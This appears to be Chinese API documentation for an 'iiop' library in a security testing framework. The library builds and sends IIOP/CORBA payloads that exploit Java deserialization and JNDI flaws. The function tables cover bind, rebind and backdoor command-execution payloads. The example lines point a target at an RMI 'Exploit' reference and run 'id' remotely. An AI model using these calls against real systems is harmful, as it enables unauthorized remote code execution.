跳到主要内容

iiop

iiop 库用于构造与发送 IIOP/CORBA 协议的利用 Payload,常用于 Java 反序列化、JNDI 相关漏洞经 IIOP 通道的利用。

典型使用场景:

  • 构造 Payload:iiop.BindPayload / iiop.RebindPayload 构造绑定/重绑定引用,iiop.InvokePayload 构造命令调用 Payload。
  • 发送:iiop.SendPayload(addr, payload) 把生成的 Payload 发往目标。

与相邻库的关系:iiopfacades(恶意服务端)、yso(gadget 生成)、java(Java 对象构造)配合,构成 Java JNDI/反序列化利用链中的 IIOP 通道。

共 4 个函数

函数索引

函数参数返回值说明
iiop.BindPayloadrmi stringPayloadGeneraterFun生成一个 IIOP bind 操作的 payload,用于向目标 CORBA/IIOP 服务绑定一个远程对象引用
iiop.InvokePayloadbackDoor string, cmd stringPayloadGeneraterFun生成一个 IIOP 远程命令执行 payload 生成器,通过注入并调用远程后门对象执行系统命令
iiop.RebindPayloadrmi stringPayloadGeneraterFun生成一个 IIOP rebind 操作的 payload,用于重新绑定(覆盖)目标服务上的远程对象引用
iiop.SendPayloadaddr string, sendPayload PayloadGeneraterFunerror连接目标 IIOP/CORBA 服务并执行指定的 payload 生成器(如 bind、rebind、命令执行)

函数详情

BindPayload

BindPayload(rmi string) PayloadGeneraterFun

生成一个 IIOP bind 操作的 payload,用于向目标 CORBA/IIOP 服务绑定一个远程对象引用

参数

参数名类型说明
rmistring要绑定的远程对象引用地址(如 rmi/ldap 地址)

返回值

序号类型说明
r1PayloadGeneraterFun一个 payload 生成器,配合 iiop.SendPayload 使用

示例

// 通过 IIOP bind 注入远程引用,依赖目标,此处仅作示意
iiop.SendPayload("192.168.1.1:7001", iiop.BindPayload("rmi://127.0.0.1:1099/Exploit"))~

InvokePayload

InvokePayload(backDoor string, cmd string) PayloadGeneraterFun

生成一个 IIOP 远程命令执行 payload 生成器,通过注入并调用远程后门对象执行系统命令

参数

参数名类型说明
backDoorstring后门对象的名称/标识
cmdstring需要在目标上执行的系统命令

返回值

序号类型说明
r1PayloadGeneraterFun一个 payload 生成器,配合 iiop.SendPayload 使用

示例

// 通过 IIOP 注入后门并执行命令,依赖目标,此处仅作示意
iiop.SendPayload("192.168.1.1:7001", iiop.InvokePayload("backdoor", "id"))~

RebindPayload

RebindPayload(rmi string) PayloadGeneraterFun

生成一个 IIOP rebind 操作的 payload,用于重新绑定(覆盖)目标服务上的远程对象引用

参数

参数名类型说明
rmistring要重新绑定的远程对象引用地址(如 rmi/ldap 地址)

返回值

序号类型说明
r1PayloadGeneraterFun一个 payload 生成器,配合 iiop.SendPayload 使用

示例

// 通过 IIOP rebind 覆盖远程引用,依赖目标,此处仅作示意
iiop.SendPayload("192.168.1.1:7001", iiop.RebindPayload("rmi://127.0.0.1:1099/Exploit"))~

SendPayload

SendPayload(addr string, sendPayload PayloadGeneraterFun) error

连接目标 IIOP/CORBA 服务并执行指定的 payload 生成器(如 bind、rebind、命令执行)

参数

参数名类型说明
addrstring目标 IIOP 服务地址,格式为 host:port
sendPayloadPayloadGeneraterFun由 iiop.BindPayload、iiop.RebindPayload、iiop.InvokePayload 等生成的 payload 生成器

返回值

序号类型说明
r1error错误信息,连接失败或执行失败时返回非空

示例

// 连接目标并执行 IIOP payload,依赖目标,此处仅作示意
iiop.SendPayload("192.168.1.1:7001", iiop.InvokePayload("backdoor", "id"))~